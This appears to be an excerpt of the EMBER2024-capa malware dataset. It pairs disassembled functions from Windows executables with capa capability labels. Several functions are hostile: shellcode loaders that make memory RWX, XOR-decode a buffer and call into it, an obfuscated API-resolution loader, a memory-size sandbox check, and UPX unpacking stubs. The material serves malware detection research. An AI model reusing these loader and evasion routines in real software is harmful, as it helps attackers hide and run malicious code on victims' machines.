joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402264
Capabilities:
Encode data using xor

Disassembly:
push 0x432908
call sub.MSVBVM60.DLL_ThunRTMain
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor byte [eax], al
add byte [eax], al
inc eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edi - 0x7a0a7ecc], bh
add byte [eax], al
add byte [eax], al
mov edi, 0x85f58134
xchg ebx, eax
xor ecx, dword [eax - 0x42]
shr esi, 1
xor ch, byte [edx + 0x33]
pop esi
fld dword [eax]
add byte [eax], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 0x61], cl
bound ecx, qword [ebp + 0x65]
imul esp, dword fs:[ecx + 0x53], 0x69647574
outsd dx, dword [esi]
add byte [eax], al
add byte [eax], al
add byte [eax], al
dec esp
xor dword [eax], eax
and eax, 0x65194ad5
and al, 0xa2
inc esp
xchg byte [esi], bl
or ebp, dword [esp + ecx*2 + 0x19]
jbe 0x40227c
cli
ror bh, cl
fisub dword [ebx]
inc eax
fadd dword [edx - 0x64]
rcl dword [ebp + ebp + 0x14], cl
nop
fstp qword [edx + edi + 0x4f]
lodsd eax, dword [esi]
xor ebx, dword [ecx - 0x48ee309a]
or al, 0
stosb byte es:[edi], al
add byte [eax - 0x2d], ah
xchg ebx, eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
jmp 0x9a402616
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, ecx
mov ebx, 0x403108
cmp esi, 3
jne 0x401074
lea eax, [ebp - 4]
push eax
push 0x40
push 0x7e1
push 0x4030e8
call edi
xor edx, edx
xor ecx, ecx
nop
add edx, 1
lea eax, [ecx + 1]
cmovne eax, ecx
mov ecx, eax
cmp ecx, 3
jb 0x401030
xor eax, eax
mov edx, eax
and edx, 0x1f
movzx ecx, byte [edx + 0x4030e8]
xor byte [eax + 0x403108], cl
movzx ecx, byte [eax + 0x403108]
sub cl, byte [edx + 0x4030e8]
xor cl, 0x6b
mov byte [eax + 0x403108], cl
inc eax
cmp eax, 0x7c1
jb 0x401042
call ebx
dec esi
jmp 0x401014

Function at 0x401080
Capabilities:
Get memory capacity
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4c
mov eax, dword [0x403004]
xor eax, esp
mov dword [esp + 0x48], eax
push esi
lea eax, [esp + 8]
mov dword [esp + 8], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
shrd ecx, eax, 0x14
shr eax, 0x14
lea eax, [ecx - 0x200]
cmp eax, 0x1f200
ja 0x4010ce
mov ecx, 0x31
call section..text
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
push 0
push 0
push str.viscossion_feelinglet_bathy_syringation_nuchty_septuagintsome_economicess_tergi_eventet_themist_lexicot_pulsetic_polickin_mouth_interest
push 0
call esi
push 0
push 0
push str.aaaa
push 0
call esi
push 0
push 0
push 0x4030e8
push 0
call esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x405ef4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a34], 0
push esi
jne 0x405f2b
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f05
mov dword [ecx*4 + 0x422a30], eax
inc ecx
cmp ecx, 0x100
jl 0x405f00
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f5c
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a30]
xor eax, esi
inc ecx
dec edx
jne 0x405f3e
pop edi
not eax
pop esi
ret 0xc

Function at 0x7c6058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x7c61a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x7c607e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x7c606a
add dl, dl
jne 0x7c6089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x7c60dc
xor eax, eax
add dl, dl
jne 0x7c6096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x7c617d
add dl, dl
jne 0x7c60a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7c60b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7c60bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7c60c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x7c60d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x7c6075
mov eax, 1
add dl, dl
jne 0x7c60ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7c60f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x7c60e1
sub eax, ebx
mov ebx, 1
jne 0x7c6128
mov ecx, 1
add dl, dl
jne 0x7c610e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x7c6119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x7c6105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x7c6075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x7c613f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x7c614a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x7c6136
cmp eax, 0x7d00
jae 0x7c616d
cmp eax, 0x500
jb 0x7c6168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x7c6075
cmp eax, 0x7f
ja 0x7c6170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x7c6075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x7c619e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x7c6075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x570b60
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x102000]
push edi
or ebp, 0xffffffff
jmp 0x570b82
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x570b89
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x570b78
mov eax, 1
add ebx, ebx
jne 0x570b9b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x570bac
jne 0x570bbc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x570bbc
dec eax
add ebx, ebx
jne 0x570bb8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x570b90
xor ecx, ecx
sub eax, 3
jb 0x570bd4
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x570c46
sar eax, 1
mov ebp, eax
jmp 0x570bdf
add ebx, ebx
jne 0x570bdf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x570bec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x570c10
inc ecx
add ebx, ebx
jne 0x570bfc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x570bf1
jne 0x570c0d
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x570bf1
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x570c30
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x570c21
jmp 0x570b7e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x570c30
add edi, ecx
jmp 0x570b7e
pop esi
mov edi, esi
mov ecx, 0x6f1
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x570c4e
cmp byte [edi], 6
jne 0x570c4e
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x570c53
lea edi, [esi + 0x16e000]
mov eax, dword [edi]
or eax, eax
je 0x570ccb
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x171010]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x171088]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x570c80
mov ecx, edi
jns 0x570caf
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x17108c]
or eax, eax
je 0x570cc5
mov dword [ebx], eax
add ebx, 4
jmp 0x570c9d
call dword [esi + 0x171090]
popal
jmp 0x410c0e
Function at 0x43ebb0
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, 1
jle 0x43ebce
push esi
lea ecx, [esp + 0x18]
dec edx
mov esi, dword [ecx]
add ecx, 0xc
xor eax, esi
dec edx
jne 0x43ebc3
pop esi
ret

Function at 0x43ed10
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x10]
push edi
push 0
push 0x20
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x43eda2
mov eax, dword [esp + 0x10]
push ebx
mov ebx, 1
push ebp
cmp eax, ebx
push esi
mov dword [esp + 0x10], ebx
jle 0x43ed94
mov ebp, dword [sym.imp.KERNEL32.DLL_WriteFile]
lea esi, [esp + 0x2c]
mov eax, dword [esi]
lea edx, [esp + 0x14]
push 0
push edx
lea ecx, [eax + 8]
mov eax, dword [eax + 4]
push eax
push ecx
push edi
call ebp
test eax, eax
je 0x43ed8c
mov eax, dword [esp + 0x1c]
inc ebx
add esi, 0xc
cmp ebx, eax
jl 0x43ed55
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret
mov dword [esp + 0x10], 0
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x4b41c0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x92000]
push edi
or ebp, 0xffffffff
jmp 0x4b41e2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4b41e9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b41d8
mov eax, 1
add ebx, ebx
jne 0x4b41fb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4b420c
jne 0x4b422b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b422b
dec eax
add ebx, ebx
jne 0x4b4218
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4b41f0
add ebx, ebx
jne 0x4b4227
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4b427d
xor ecx, ecx
sub eax, 3
jb 0x4b4243
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4b42b2
sar eax, 1
mov ebp, eax
jmp 0x4b424e
add ebx, ebx
jne 0x4b424e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b421c
inc ecx
add ebx, ebx
jne 0x4b425c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b421c
add ebx, ebx
jne 0x4b4269
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4b425e
jne 0x4b427a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4b425e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4b429c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4b428e
jmp 0x4b41de
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4b429c
add edi, ecx
jmp 0x4b41de
pop esi
mov edi, esi
mov ecx, 0x650
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4b42ba
cmp byte [edi], 9
jne 0x4b42ba
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4b42bf
lea edi, [esi + 0xb2000]
mov eax, dword [edi]
or eax, eax
je 0x4b432e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1186f4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1187cc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4b42ec
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1187d4]
or eax, eax
je 0x4b4328
mov dword [ebx], eax
add ebx, 4
jmp 0x4b4309
call dword [esi + 0x1187d0]
mov ebp, dword [esi + 0x1187d8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4b4362
sub esp, 0xffffff80
jmp 0x401a9f
Function at 0x61aeb0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1c3000]
push edi
jmp 0x61aeca
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x61aed1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x61aec0
mov eax, 1
add ebx, ebx
jne 0x61aee3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x61aef4
jne 0x61af13
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x61af13
dec eax
add ebx, ebx
jne 0x61af00
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x61aed8
add ebx, ebx
jne 0x61af0f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x61af65
xor ecx, ecx
sub eax, 3
jb 0x61af2b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x61af9a
sar eax, 1
mov ebp, eax
jmp 0x61af36
add ebx, ebx
jne 0x61af36
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x61af04
inc ecx
add ebx, ebx
jne 0x61af44
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x61af04
add ebx, ebx
jne 0x61af51
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x61af46
jne 0x61af62
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x61af46
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x61af84
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x61af76
jmp 0x61aec6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x61af84
add edi, ecx
jmp 0x61aec6
pop esi
mov edi, esi
mov ecx, 0x3ea9
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x61afa2
cmp byte [edi], 0x11
jne 0x61afa2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x61afa7
lea edi, [esi + 0x213000]
mov eax, dword [edi]
or eax, eax
je 0x61b01f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3585fc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x358778]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x61afd4
mov ecx, edi
jns 0x61b003
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x35877c]
or eax, eax
je 0x61b019
mov dword [ebx], eax
add ebx, 4
jmp 0x61aff1
call dword [esi + 0x35878c]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x61b050
cmp al, 0xef
ja 0x61b043
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x61b025
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x61b032
mov ebp, dword [esi + 0x358780]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x61b084
sub esp, 0xffffff80
jmp 0x42800a
Function at 0x401000
Capabilities:
Packed with generic packer

Disassembly:
mov eax, 0x9e7b10
push eax
push dword fs:[0]
jnp 0x400fa2
add byte [eax + 0x64], dl
push dword [0]
mov dword fs:[0], esp
xor eax, eax
mov dword [eax], ecx
push eax
inc ebp
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x401080
arpl word [edx + esi], si
adc ebx, dword [edi - 0x54]
xchg ebx, eax
neg dl
push cs
dec ecx
mov eax, 0x7fb97088
add ah, ah
aam 0xeb
jp 0x40109d
mov byte [eax - 0x47], dh
jg 0x401033
mov ecx, 0xd4e4027f
in al, 0xd4
jmp 0x4010af
test eax, 0xcf33638c
adc ch, bl
js 0x400fd0
sbb ch, ah
daa
stosd dword es:[edi], eax
mov dword [0x540fb128], eax
xchg edi, eax
inc ecx
and dword [esi + esi*8 - 0x78], ebp
rcr byte [eax - 0x2e], 0xa4
sti
push ss
scasd eax, dword es:[edi]
jne 0x40108b
jl 0x40102c
salc
pushal
jbe 0x401085
daa
xchg esp, eax
lcall 0xa4e8, 0x1020bb2d
mov ebx, 0xa4e81020
push eax
in eax, dx
xor bl, ah
sti
bnd jg 0x401002
popal
lea ebp, [edx - 0x70bb56c6]
push ds
pop ss
cmp dword [eax + ebx*8 + 0x46], eax
and byte [eax - 0x702274c0], al
pop eax
test al, 0xc5
fisttp qword [edi + 0x3dc5a858]
lahf
mov ah, 0xc2
sub ecx, dword [0x6e1df55c]
cmp eax, 0x2bc2b49f
or eax, 0x6e1df55c
pop esp
cmc
sbb eax, 0x97530b6e
or edx, dword [ebx - 0x69]
in al, 0x34
sub dword [edi], edx
stosd dword es:[edi], eax
loop 0x4010a6
shr byte [edx - 0x45d61c4d], 1
arpl word [edi - 0x278de9a], dx
sub dword [edx + 0x21669763], edi
xchg ebp, edi
jo 0x4010b7
adc byte [ebx - 0x7b], dh
jae 0x40102e
xlatb
in al, dx
scasd eax, dword es:[edi]
rol dword [0xffffd0cf], 1
fisub dword [edx + 0x3d]
xchg edi, eax
xchg ebp, eax
push 0xa7e35ce0
iretd
loopne 0x401115
jecxz 0x401062
jmp 0x4010fb
inc edi
inc ebp
invalid
test byte [edi + 0x73], al
fsub dword [edx + 0x3d]
enter 0x419d, 0xffffffffffffff8b
pop es
mov eax, dword [edi]
jmp 0x4010de
push es
aas
dec esp
sbb al, 0xb2
or ecx, esi
pushal
jp 0x40110e
xchg dword [edi], edi
push ebp
arpl word [edx], bx
xchg ebp, eax
and dword [ecx + 0x73], 0x27
push esi
leave
adc bh, byte [0xf1cfcb47]
mov ecx, dword [esi + 0x2afe0d5e]
push ebx
lcall 0x58e9, 0xe192ed67
pop eax
outsb dx, byte [esi]
sub byte [eax + 0x15], ah
mov ecx, 0x775fedc3
test byte [eax + 0x35], ch
setb byte [ebx + ecx*8 + 0x4f]
jne 0x4010f2
and eax, 0x92ec4218
mov byte [edi - 0x59], 3
pop ss
shl byte [esi - 0x1d838009], 1
mov ah, byte [edx]
mov ch, 0xee
leave
or byte [esi], bh
or ch, ah
inc esp
or dword [esi - 0x672e35e7], eax
popal
pop ds
xlatb
invalid
Function at 0x10007687
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x10007696
pop dword [ebp - 0x24]
mov eax, 0x4865ad6e
sub eax, 0x386536d8
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x5c02403
sub dword [ebp - 0x34], 0xb76ddeb8
mov dword [ebp - 0x30], 0x94e2d25d
add dword [ebp - 0x30], 0x9d5079e8
mov dword [ebp - 0x2c], 0xdcf6aa90
add dword [ebp - 0x2c], 0x6f55999e
mov dword [ebp - 0x28], 0x3d71c413
add dword [ebp - 0x28], 0xc28e3bed
lea eax, [ebp - 0x34]
push eax
mov eax, 0xbeed14ab
sub eax, 0xaeec640b
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x53091962
sub dword [ebp - 0x34], 0xde96b00c
mov dword [ebp - 0x30], 0x3965ccbc
add dword [ebp - 0x30], 0x80694b9
mov dword [ebp - 0x2c], 0xe3be8efa
sub dword [ebp - 0x2c], 0x804f228e
mov dword [ebp - 0x28], 0x9cef2e
sub dword [ebp - 0x28], 0x9cef2e
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0xed38dac0
sub eax, 0xdd382a28
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x323ce
push 0
call eax
mov ecx, 0x84c5d8b4
sub ecx, 0x84c5a580
xor ebx, ebx
add ebx, eax
mov edx, 0x4c73901e
sub edx, 0x3c6f181e
add edx, dword [ebp - 0x24]
mov edi, 0xc82db862
add edi, 0x9df5a220
add dword [ebp - 0x18], esi
mov esi, dword [edx]
sub dword [ebp - 0x1c], 0x39dcf671
xor esi, edi
sub dword [ebp - 4], edi
mov dword [ebx], esi
xor dword [ebp - 8], edi
add ebx, 0x53296a5f
sub ebx, 0x53296a5b
add edx, 0xf793850b
add edx, 0x86c7af9
loop 0x100077ba
add eax, 0xbfa3
mov ebx, eax
add eax, 0x735be44
sub eax, 0x735be3f
mov ecx, 0x38d18837
sub ecx, 0x28d18837
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x4187b4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x4187c3
pop dword [ebp - 0x3c]
mov eax, 0x65a1b73a
add eax, 0x9a9fd089
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xa6a34759
sub dword [ebp - 0x4c], 0x5851020e
mov dword [ebp - 0x48], 0xeab7c1ec
add dword [ebp - 0x48], 0x477b8a59
mov dword [ebp - 0x44], 0x781d498e
add dword [ebp - 0x44], 0xd42efaa0
mov dword [ebp - 0x40], 0x3d2e3aa9
sub dword [ebp - 0x40], 0x3d2e3aa9
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x66c56b3f
add eax, 0x997c5511
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x80cf5350
add dword [ebp - 0x4c], 0xf3a31606
mov dword [ebp - 0x48], 0x7d8e2958
add dword [ebp - 0x48], 0xc3de381d
mov dword [ebp - 0x44], 0x51ea2af
sub dword [ebp - 0x44], 0xa1af3643
mov dword [ebp - 0x40], 0xd83b41a5
sub dword [ebp - 0x40], 0xd83b41a5
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0xc852f10f
add eax, 0x37eecf3d
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3b55f
push 0
call eax
mov ecx, 0x4730
xor edx, edx
add edx, eax
mov ebx, 0x26d3d15f
add ebx, 0xd96f58a1
add ebx, dword [ebp - 0x3c]
mov esi, 0x2feb5597
sub esi, 0x130a4bc1
mov edi, dword [ebx]
add dword [ebp - 0x14], esi
xor edi, esi
sub dword [ebp - 8], esi
mov dword [edx], edi
add dword [ebp - 0x30], 0xa863e8f0
add edx, 0x6206fb94
sub edx, 0x6206fb90
add ebx, 0x4674f8b5
sub ebx, 0x4674f8b1
loop 0x4188e1
add eax, 0x10f93
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x4018af
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4018ee
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4018ee
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4018ee
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4018ee
cmp dword [ecx + 0x74], 0xe
jbe 0x4018ee
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret